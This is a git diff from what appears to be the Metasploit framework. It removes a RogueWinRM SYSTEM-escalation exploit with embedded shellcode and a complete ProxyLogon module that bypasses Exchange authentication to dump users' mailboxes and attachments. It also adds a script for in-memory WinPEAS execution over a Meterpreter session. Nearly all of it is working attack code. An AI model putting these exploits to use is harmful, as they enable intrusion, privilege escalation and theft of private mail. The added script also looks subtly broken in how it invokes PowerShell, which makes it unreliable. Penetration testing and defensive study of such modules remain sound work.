diff --git a/external/source/exploits/drunkpotato/RogueWinRM exe/main.c b/external/source/exploits/drunkpotato/RogueWinRM exe/main.c deleted file mode 100644 index ec6501e4c49b1..0000000000000 --- a/external/source/exploits/drunkpotato/RogueWinRM exe/main.c +++ /dev/null @@ -1,37 +0,0 @@ -/* -This is an escalation privilege exploit which launch an arbitrary process as SYSTEM user. -It takes advantage of the BITS behavior which always try to connect on port 5985 (Windows -Remote Management) even if there is no WinRM service listening on that port. This exploit -launch a rogue WinRM service which force BITS service to authenticate by sending it a 401 -challenge response packet. The authentication allows to steal a SYSTEM token as a primary -token, and use it to launch an arbitrary process as SYSTEM. - -In practice, this exploit launch notepad.exe as SYSTEM. Then, it copies the shellcode -received from metasploit into the remote SYSTEM process and make it trigger its execution. - -Details of the vulnerability here : -https://decoder.cloud/2019/12/06/we-thought-they-were-potatoes-but-they-were-beans/ - -This exploit was developed from decoder's POC here: -https://github.com/antonioCoco/RogueWinRM - -PREREQUISITES/ -- Port 5985 must be free -- BITS must not be running - -WARNING: -- As this exploit launches a services, a firewall popup may appear. -*/ - -#include "../Common_Src_Files/pch.h" - -int main(int argc, char** argv) -{ - int exit_status = -1; - char shellcode[] = "47001\x00notepad.exe\x00\x31\x33\x38\x34\00\x48\x31\xc9\x48\x81\xe9\xa1\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb\x6c\xdd\xf4\xfa\xe9\x0d\x46\xb4\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x90\x95\x77\x1e\x19\xe5\x8a\xb4\x6c\xdd\xb5\xab\xa8\x5d\x14\xe5\x24\xec\x26\x9f\xa1\x86\x14\xd4\x3a\x95\x7f\xa8\xf1\x45\xcd\xe6\x4c\x95\x7f\x88\xb9\x45\x49\x03\x26\x97\xb9\xcb\x20\x45\x77\x74\xc0\xe1\x95\x86\xeb\x21\x66\xf5\xad\x14\xf9\xbb\xe8\xcc\xa4\x59\x3e\x9c\xa5\xb2\x62\x5f\x66\x3f\x2e\xe1\xbc\xfb\x39\x6b\xc7\xcc\x74\xd6\xf6\xf5\x6c\x7f\x46\xb4\x6c\x56\x74\x72\xe9\x0d\x46\xfc\xe9\x1d\x80\x9d\xa1\x0c\x96\xf0\xe7\x9d\xd4\xaa\xa0\x0c\x96\x3f\x24\xc5\x17\xac\xa4\x3c\x8f\xfc\x93\x14\xb5\x71\xdd\x85\x0e\xb5\xba\x95\xc5\x3a\x45\x4c\x87\x7d\x61\x9c\xf5\x3b\xd1\xed\x33\x45\x20\xde\xb8\xde\xe1\x48\x7f\x65\x19\x05\xac\xbe\x62\x4d\x62\xfd\x6d\x0d\x92\xbb\x62\x01\x0e\xf0\xe7\x9d\xe8\xb3\xe8\xdd\x07\x3f\x68\x55\xbc\xfb\x39\x4c\x1e\xf5\x34\x83\xad\xa0\xa8\x55\x07\xed\x2d\x87\xbc\x79\x05\x2d\x07\xe6\x93\x3d\xac\xbb\xb0\x57\x0e\x3f\x7e\x34\xbf\x05\x16\xf2\x1b\xfc\x5d\x06\xa7\xb3\x57\x7a\x2f\xda\x05\xb3\x91\x8e\xe9\x4c\x10\xfc\xe5\x3c\xbd\x3d\x2b\x41\x31\x92\x6b\x22\x21\xa9\xba\x45\xcf\x55\x3f\x87\xb9\xcb\x29\x40\x77\x7d\x3f\x8e\xbd\x40\xd3\x5b\x3f\x13\x6c\xdd\xf4\xfa\x16\xd8\xae\xb9\x6c\xdd\xf4\xcb\xd0\x3f\x68\x85\x5a\xe5\xda\xcb\xc7\x3e\x72\xb4\x36\x95\x7d\x3b\xa0\xca\x86\x08\x6d\xdd\xf4\xb7\xd8\xc4\x15\xe7\x06\xde\xa7\xb3\x53\x5a\xcf\x2b\xaa\xdd\xf4\xfa\xe9\xf2\x93\x5c\xa0\xdd\xf4\xfa\xc6\x48\x71\xd8\x5a\xb5\xb1\xca\xb3\x3f\x02\xcc\x0f\x9b\xc5\xca\xbf\x4c\x7f\xda\x06\xb4\xb5\xcc\xaa\x64\x11\xde\x1e\x8b\xad\xbf\xdb\x7c\x21\xd2\x06\xae\xa6\x90\x88\x54\x0c\xdc\x2b\x95\xc1\xb5\xa5\x62\x20\xcd\x16\x87\xa4\x9c\xdf\x49\x02\xee\x55\xb9\xa1\xc2\xbc\x43\x0c\xc2\x3f\xa5\x92\xd7\x99\x44\x3c\xf5\x08\xe9\xa1\x9c\x86\x67\x33\xda\x55\xe9\xcd\xac\x8e\x6e\x2e\xfe\x04\x91\x9f\xb2\xb1\x67\x37\xcd\x3f\xb1\xa4\xa0\x9a\x47\x0b\xeb\x1f\x97\xb0\x8d\xab\x4e\x70\xc1\x36\xb0\xc7\xa3\xc4\x6f\x21\xd6\x54\xf0\xab\x9c\xc4\x4c\x32\xdb\x20\xed\x91\xb1\x86\x3d\x27\xde\x2f\x9a\x90\xa9\xb9\x78\x0d\xd9\x0f\xa8\xc4\x94\xa7\x6e\x6b\xfd\x5c\x97\x97\x82\x9c\x77\x13\xfe\x02\x94\x99\xcb\xa1\x7e\x76\x83\x5e\x99\x82\x82\x8a\x3a\x3c\x87\x34\x8d\xb0\xaa\xba\x66\x75\x8c\x5e\xab\xbe\xb9\x8f\x47\x33\x83\x3b\xf0\x97\x82\x9f\x49\x14\xb4\x24\x54\x35\xa9\xb3\x4c\x1e\xf9\x5d\x14\xa7\xb2\x51\x0d\x74\x1c\xe8\xdd\xf4\xfa\xe9\x5d\x15\xe7\x25\x1a\x36\x11\xbc\x23\x7d\x4b\xb9\x95\x7d\x3c\x83\x07\x19\xfc\xe5\x2c\x9e\xe5\xb3\x5f\x2e\x34\x5f\xdd\xf4\xb3\x60\xed\x2c\xb0\x2d\x84\xbd\x40\x9c\x4b\xd8\x32\x6c\xdd\xf4\xfa\x16\xd8\x0b\x85\xac\x8e\xae\xb2\x60\xfc\x0b\x85\xa5\x90\xc5\x33\xba\x5e\x0f\x73\xae\xf0\xf2\xe2\x92\xf2\x93\x31\xac\xa8\xeb\xb2\x2e\xcc\xce\xa7\x6c\xdd\xbd\x40\xad\xfd\x73\x54\x6c\xdd\xf4\xfa\x16\xd8\x0e\x4b\xa3\xa9\xf6\x11\x43\xe5\x13\xb4\x6c\xdd\xa7\xa3\x83\x4d\x1c\xfd\xe5\x0c\x35\x18\xf9\x44\x81\x74\x6c\xcd\xf4\xfa\xa0\xb7\x1e\x10\x3f\x38\xf4\xfa\xe9\x0d\xb9\x61\x24\x4e\xa7\xa9\xa1\x84\xa1\xfc\xe5\x2c\xbc\x73\x33\x44\x81\x74\x6c\xfd\xf4\xfa\xa0\x84\xbf\xfd\xd6\xcf\x62\x73\x0b\x0d\x46\xb4\x6c\x22\x21\xb2\x6a\xc9\x66\x31\xac\xa9\x46\x9c\x62\x0a\x0e\xb5\xaf\x58\x34\x8f\x3b\x55\x85\xec\x06\xdd\xad\xb3\x2e\xcf\xb6\x01\xce\x8b\x0b\x2f\xe9\x0d\x46\xb4"; - - dprintf("[main] Entry point."); - - exit_status = RunRogueWinRM(shellcode); - return exit_status; -} diff --git a/modules/auxiliary/gather/exchange_proxylogon_collector.rb b/modules/auxiliary/gather/exchange_proxylogon_collector.rb deleted file mode 100644 index d3d77873d7635..0000000000000 --- a/modules/auxiliary/gather/exchange_proxylogon_collector.rb +++ /dev/null @@ -1,437 +0,0 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -# begin auxiliary class -class MetasploitModule < Msf::Auxiliary - include Msf::Exploit::Remote::HttpClient - - def initialize(info = {}) - super( - update_info( - info, - 'Name' => 'Microsoft Exchange ProxyLogon Collector', - 'Description' => %q{ - This module exploit a vulnerability on Microsoft Exchange Server that - allows an attacker bypassing the authentication and impersonating as the - admin (CVE-2021-26855). - - By taking advantage of this vulnerability, it is possible to dump all - mailboxes (emails, attachments, contacts, ...). - - This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012, - Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009, - Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010). - - All components are vulnerable by default. - }, - 'Author' => [ - 'Orange Tsai', # Discovery (Officially acknowledged by MSRC) - 'GreyOrder', # PoC (https://github.com/GreyOrder) - 'mekhalleh (RAMELLA Sébastien)' # Module author independent researcher (work at Zeop Entreprise) - ], - 'References' => [ - ['CVE', '2021-26855'], - ['LOGO', 'https://proxylogon.com/images/logo.jpg'], - ['URL', 'https://proxylogon.com/'], - ['URL', 'https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/'], - ['URL', 'https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/distinguishedfolderid'], - ['URL', 'https://github.com/3gstudent/Homework-of-Python/blob/master/ewsManage.py'] - ], - 'DisclosureDate' => '2021-03-02', - 'License' => MSF_LICENSE, - 'DefaultOptions' => { - 'RPORT' => 443, - 'SSL' => true - }, - 'Actions' => [ - [ - 'Dump (Contacts)', { - 'Description' => 'Dump user contacts from exchange server', - 'id_attribute' => 'contacts' - } - ], - [ - 'Dump (Emails)', { - 'Description' => 'Dump user emails from exchange server' - } - ] - ], - 'DefaultAction' => 'Dump (Emails)', - 'Notes' => { - 'AKA' => ['ProxyLogon'], - 'Stability' => [CRASH_SAFE], - 'Reliability' => [], - 'SideEffects' => [IOC_IN_LOGS] - } - ) - ) - - register_options([ - OptBool.new('ATTACHMENTS', [true, 'Dump documents attached to an email', true]), - OptString.new('EMAIL', [true, 'The email account what you want dump']), - OptString.new('FOLDER', [true, 'The email folder what you want dump', 'inbox']), - OptEnum.new('METHOD', [true, 'HTTP Method to use for the check (only).', 'POST', ['GET', 'POST']]), - OptString.new('TARGET', [false, 'Force the name of the internal Exchange server targeted']) - ]) - - register_advanced_options([ - OptInt.new('MaxEntries', [false, 'Override the maximum number of object to dump', 2147483647]) - ]) - end - - XMLNS = { 't' => 'http://schemas.microsoft.com/exchange/services/2006/types' }.freeze - - def dump_contacts(server_name) - ssrf = "#{server_name}/EWS/Exchange.asmx?a=~#{random_ssrf_id}" - - response = send_xml('POST', ssrf, soap_countitems(action['id_attribute'])) - if response.body =~ /Success/ - print_good("Successfully connected to: #{action['id_attribute']}") - xml = Nokogiri::XML.parse(response.body) - - folder_id = xml.at_xpath('//t:ContactsFolder/t:FolderId', XMLNS)&.values&.at(0) - print_status("Selected folder: #{action['id_attribute']} (#{folder_id})") - - total_count = xml.at_xpath('//t:ContactsFolder/t:TotalCount', XMLNS)&.content - print_status("Number of contact found: #{total_count}") - - if total_count.to_i > datastore['MaxEntries'] - print_warning("Number of contact recalculated due to max entries: #{datastore['MaxEntries']}") - total_count = datastore['MaxEntries'].to_s - end - - response = send_xml('POST', ssrf, soap_listitems(action['id_attribute'], total_count)) - xml = Nokogiri::XML.parse(response.body) - - print_status(message("Processing dump of #{total_count} items")) - data = xml.xpath('//t:Items/t:Contact', XMLNS) - if data.empty? - print_status('The user has no contacts') - else - write_loot("#{datastore['EMAIL']}_#{action['id_attribute']}", data.to_s) - end - end - end - - def dump_emails(server_name) - ssrf = "#{server_name}/EWS/Exchange.asmx?a=~#{random_ssrf_id}" - - response = send_xml('POST', ssrf, soap_countitems(datastore['FOLDER'])) - if response.body =~ /Success/ - print_good("Successfully connected to: #{datastore['FOLDER']}") - xml = Nokogiri::XML.parse(response.body) - - folder_id = xml.at_xpath('//t:Folder/t:FolderId', XMLNS)&.values&.at(0) - print_status("Selected folder: #{datastore['FOLDER']} (#{folder_id})") - - total_count = xml.at_xpath('//t:Folder/t:TotalCount', XMLNS)&.content - print_status("Number of email found: #{total_count}") - - if total_count.to_i > datastore['MaxEntries'] - print_warning("Number of email recalculated due to max entries: #{datastore['MaxEntries']}") - total_count = datastore['MaxEntries'].to_s - end - - print_status(message("Processing dump of #{total_count} items")) - download_items(total_count, ssrf) - end - end - - def download_attachments(item_id, ssrf) - response = send_xml('POST', ssrf, soap_listattachments(item_id)) - xml = Nokogiri::XML.parse(response.body) - - xml.xpath('//t:Message/t:Attachments/t:FileAttachment', XMLNS).each do |item| - item_id = item.at_xpath('./t:AttachmentId', XMLNS)&.values&.at(0) - - response = send_xml('POST', ssrf, soap_downattachment(item_id)) - data = Nokogiri::XML.parse(response.body) - - filename = data.at_xpath('//t:FileAttachment/t:Name', XMLNS)&.content - ctype = data.at_xpath('//t:FileAttachment/t:ContentType', XMLNS)&.content - content = data.at_xpath('//t:FileAttachment/t:Content', XMLNS)&.content - - print_status(" -> attachment: #{item_id} (#{filename})") - write_loot("#{datastore['EMAIL']}_#{datastore['FOLDER']}", Rex::Text.decode_base64(content), filename, ctype) - end - end - - def download_items(total_count, ssrf) - response = send_xml('POST', ssrf, soap_listitems(datastore['FOLDER'], total_count)) - xml = Nokogiri::XML.parse(response.body) - - xml.xpath('//t:Items/t:Message', XMLNS).each do |item| - item_info = item.at_xpath('./t:ItemId', XMLNS)&.values - next if item_info.nil? - - print_status("Download item: #{item_info[1]}") - - response = send_xml('POST', ssrf, soap_downitem(item_info[0], item_info[1])) - data = Nokogiri::XML.parse(response.body) - - email = data.at_xpath('//t:Message/t:MimeContent', XMLNS)&.content - write_loot("#{datastore['EMAIL']}_#{datastore['FOLDER']}", Rex::Text.decode_base64(email)) - - attachments = item.at_xpath('./t:HasAttachments', XMLNS)&.content - if datastore['ATTACHMENTS'] && attachments == 'true' - download_attachments(item_info[0], ssrf) - end - print_status - end - end - - def message(msg) - "#{@proto}://#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}" - end - - def random_ssrf_id - # https://en.wikipedia.org/wiki/2,147,483,647 (lol) - # max. 2147483647 - rand(1941962752..2147483647) - end - - def request_autodiscover(server_name) - xmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' } - - response = send_xml('POST', "#{server_name}/autodiscover/autodiscover.xml?a=~#{random_ssrf_id}", soap_autodiscover) - - case response.body - when %r{500} - fail_with(Failure::NotFound, 'No Autodiscover information was found') - when %r{redirectAddr} - fail_with(Failure::NotFound, 'No email address was found') - end - - xml = Nokogiri::XML.parse(response.body) - - legacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content - fail_with(Failure::NotFound, 'No \'LegacyDN\' was found') if legacy_dn.blank? - - server = '' - owa_urls = [] - xml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item| - type = item.at_xpath('./xmlns:Type', xmlns)&.content - if type == 'EXCH' - server = item.at_xpath('./xmlns:Server', xmlns)&.content - end - - next unless type == 'WEB' - - item.xpath('./xmlns:Internal/xmlns:OWAUrl', xmlns).each do |owa_url| - owa_urls << owa_url.content - end - end - fail_with(Failure::NotFound, 'No \'Server ID\' was found') if server.nil? || server.empty? - fail_with(Failure::NotFound, 'No \'OWAUrl\' was found') if owa_urls.empty? - - return([server, legacy_dn, owa_urls]) - end - - def send_http(method, ssrf, data: '', ctype: 'application/x-www-form-urlencoded') - request = { - 'method' => method, - 'uri' => @random_uri, - 'cookie' => "X-BEResource=#{ssrf};", - 'ctype' => ctype - } - request = request.merge({ 'data' => data }) unless data.empty? - - received = send_request_cgi(request) - fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received - - received - end - - def send_xml(method, ssrf, data, ctype: 'text/xml; charset=utf-8') - send_http(method, ssrf, data: data, ctype: ctype) - end - - def soap_autodiscover - <<~SOAP - - - - #{datastore['EMAIL']} - http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a - - - SOAP - end - - def soap_countitems(folder_id) - <<~SOAP - - - - - - Default - - - - - #{datastore['EMAIL']} - - - - - - - SOAP - end - - def soap_listattachments(item_id) - <<~SOAP - - - - - IdOnly - - - - - - - - - - - SOAP - end - - def soap_listitems(folder_id, max_entries) - <<~SOAP - - - - - - AllProperties - - - - - - #{datastore['EMAIL']} - - - - - - - SOAP - end - - def soap_downattachment(item_id) - <<~SOAP - - - - - - - - - - SOAP - end - - def soap_downitem(id, change_key) - <<~SOAP - - - - - - IdOnly - true - - - - - - - - SOAP - end - - def write_loot(type, data, name = '', ctype = 'text/plain') - loot_path = store_loot(type, ctype, datastore['RHOSTS'], data, name, '') - print_good("File saved to #{loot_path}") - end - - def run - @proto = (ssl ? 'https' : 'http') - @random_uri = normalize_uri('ecp', "#{Rex::Text.rand_text_alpha(1..3)}.js") - - print_status(message('Attempt to exploit for CVE-2021-26855')) - - # request for internal server name. - response = send_http(datastore['METHOD'], "localhost~#{random_ssrf_id}") - if response.code != 500 || !response.headers.to_s.include?('X-FEServer') - fail_with(Failure::NotFound, 'No \'X-FEServer\' was found') - end - server_name = response.headers['X-FEServer'] - print_status("Internal server name (#{server_name})") - - # get information by autodiscover request. - print_status(message('Sending autodiscover request')) - server_id, legacy_dn, owa_urls = request_autodiscover(server_name) - - print_status("Server: #{server_id}") - print_status("LegacyDN: #{legacy_dn}") - print_status("Internal target(s): #{owa_urls.join(', ')}") - - # selecting target - print_status(message('Selecting the first internal server to respond')) - if datastore['TARGET'].nil? || datastore['TARGET'].empty? - target = '' - owa_urls.each do |url| - host = url.split('://')[1].split('.')[0].downcase - next unless host != server_name.downcase - - response = send_http('GET', "#{host}/EWS/Exchange.asmx?a=~#{random_ssrf_id}") - next unless response.code == 200 - - target = host - print_good("Targeting internal: #{url}") - - break - end - fail_with(Failure::NotFound, 'No internal target was found') if target.empty? - else - target = datastore['TARGET'] - print_good("Targeting internal forced to: #{target}") - end - - # run action - case action.name - when /Dump \(Contacts\)/ - print_status(message("Attempt to dump contacts for <#{datastore['EMAIL']}>")) - dump_contacts(target) - when /Dump \(Emails\)/ - print_status(message("Attempt to dump emails for <#{datastore['EMAIL']}>")) - dump_emails(target) - end - end - -end diff --git a/scripts/winpeas_dotnet_execution_example.rb b/scripts/winpeas_dotnet_execution_example.rb new file mode 100644 index 0000000000000..8e9d90a26d554 --- /dev/null +++ b/scripts/winpeas_dotnet_execution_example.rb @@ -0,0 +1,50 @@ +# Metasploit automation script to execute WinPEAS as a .NET assembly in-memory +# using post/windows/manage/execute_dotnet_assembly module. +# +# This script demonstrates: +# - Setting the session +# - Specifying the path to WinPEAS .NET executable +# - Running the module +# - Fallback to PowerShell import and execution if module unavailable +# +# Usage: +# Load this script in msfconsole and run: +# run winpeas_dotnet_execution_example.rb -j -z +# +# Note: +# - Ensure the session ID is valid and connected to a Windows x64 target. +# - Ensure WinPEAS .NET executable path is accessible. +# - Avoid injecting into incompatible native processes like Notepad. + +session_id = 1 # Replace with your Meterpreter session ID +winpeas_path = '/path/to/winpeas.exe' # Replace with actual path to WinPEAS .NET executable + +# Load the execute_dotnet_assembly post module +post_module = framework.modules.use('post', 'windows', 'manage', 'execute_dotnet_assembly') + +# Set required options +post_module.datastore['SESSION'] = session_id +post_module.datastore['ASSEMBLY_PATH'] = winpeas_path + +print_status("Running execute_dotnet_assembly module for WinPEAS on session #{session_id}...") +begin + post_module.run +rescue ::Exception => e + print_error("Failed to run execute_dotnet_assembly module: #{e.message}") + print_status("Falling back to PowerShell import and execution...") + + # Fallback: Use Meterpreter PowerShell extension to import and execute WinPEAS DLL in memory + powershell_dll_path = '/path/to/winpeas.dll' # Replace with actual path to WinPEAS DLL + + # Import the DLL + cmd_import = "powershell_import #{powershell_dll_path}" + print_status("Importing WinPEAS DLL via PowerShell: #{cmd_import}") + client.run_single("powershell -Command \"#{cmd_import}\"") + + # Execute the DLL function + cmd_execute = "powershell_execute Invoke-WinPEAS" + print_status("Executing WinPEAS DLL via PowerShell: #{cmd_execute}") + client.run_single("powershell -Command \"#{cmd_execute}\"") +end + +print_good("WinPEAS execution attempt completed. Ensure process architecture matches target (x64). Avoid injecting into native processes like Notepad.")